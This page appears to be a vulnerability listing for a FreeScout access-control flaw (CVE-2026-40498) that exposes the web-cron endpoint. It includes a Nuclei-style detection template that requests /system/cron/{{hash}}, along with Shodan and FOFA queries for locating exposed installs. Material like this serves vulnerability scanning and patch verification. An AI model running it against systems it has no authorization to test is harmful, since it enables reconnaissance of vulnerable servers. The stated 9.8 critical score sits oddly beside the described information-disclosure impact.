CVE-2026-40498: FreeScout < 1.8.213 - Broken Access Control

2026-12-04 PoC Public

Description

FreeScout before 1.8.213 exposes the web-cron endpoint (/system/cron/{hash}) to unauthenticated users. The endpoint is gated only by a static hash derived from the application key (md5(APP_KEY . 'web_cron_hash')) which is transmitted in GET requests and therefore recoverable from server logs, browser history and proxy logs. When the valid hash is supplied, the endpoint returns the raw output of Laravel's schedule:run, disclosing sensitive server information such as absolute file paths, mailbox fetch identifiers and scheduled command arguments (Full Path Disclosure / information exposure). Fixed in 1.8.213, which sanitizes the output to a command count and strengthens the hash to HMAC-SHA512.

Details

CVE
CVE-2026-40498 · CVE.org
Severity
高危
Published
PoC
Public

PoC

id: CVE-2026-40498

info:
  name: FreeScout < 1.8.213 - Broken Access Control
  author: DhiyaneshDk
  severity: critical
  description: |
    FreeScout before 1.8.213 exposes the web-cron endpoint (/system/cron/{hash}) to unauthenticated users. The endpoint is gated only by a static hash derived from the application key (md5(APP_KEY . 'web_cron_hash')) which is transmitted in GET requests and therefore recoverable from server logs, browser history and proxy logs. When the valid hash is supplied, the endpoint returns the raw output of Laravel's schedule:run, disclosing sensitive server information such as absolute file paths, mailbox fetch identifiers and scheduled command arguments (Full Path Disclosure / information exposure). Fixed in 1.8.213, which sanitizes the output to a command count and strengthens the hash to HMAC-SHA512.
  impact: |
    An unauthenticated attacker with the web-cron hash can read sensitive server-side information leaked in the raw scheduler output, and can repeatedly trigger heavy background tasks without rate limiting.
  remediation: |
    Upgrade FreeScout to version 1.8.213 or later.
  reference:
    - https://github.com/freescout-help-desk/freescout/security/advisories/GHSA-5jw5-q9j7-4rxc
    - https://github.com/freescout-help-desk/freescout/commit/b1d6c2c
    - https://nvd.nist.gov/vuln/detail/CVE-2026-40498
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-40498
    epss-score: 0.02157
    epss-percentile: 0.82777
    cwe-id: CWE-200,CWE-284,CWE-770
    cpe: cpe:2.3:a:freescout:freescout:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: freescout
    product: freescout
    shodan-query: http.title:"FreeScout"
    fofa-query: title="FreeScout"
  tags: cve,cve2026,freescout,disclosure,exposure,bac

http:
  - raw:
      - |
        GET /system/cron/{{hash}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(to_lower(body), "scheduled command")'
          - 'contains(content_type, "text/plain")'
          - "status_code == 200"
        condition: and
# digest: 4a0a00473045022100ccd0216575c97773fd41d726413d4e7738398c781f534134f52093acc6c28360022005987f2b8b00248c01bbcf57f3868c97ddbfd633956b5395329581ff4bc9629c:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life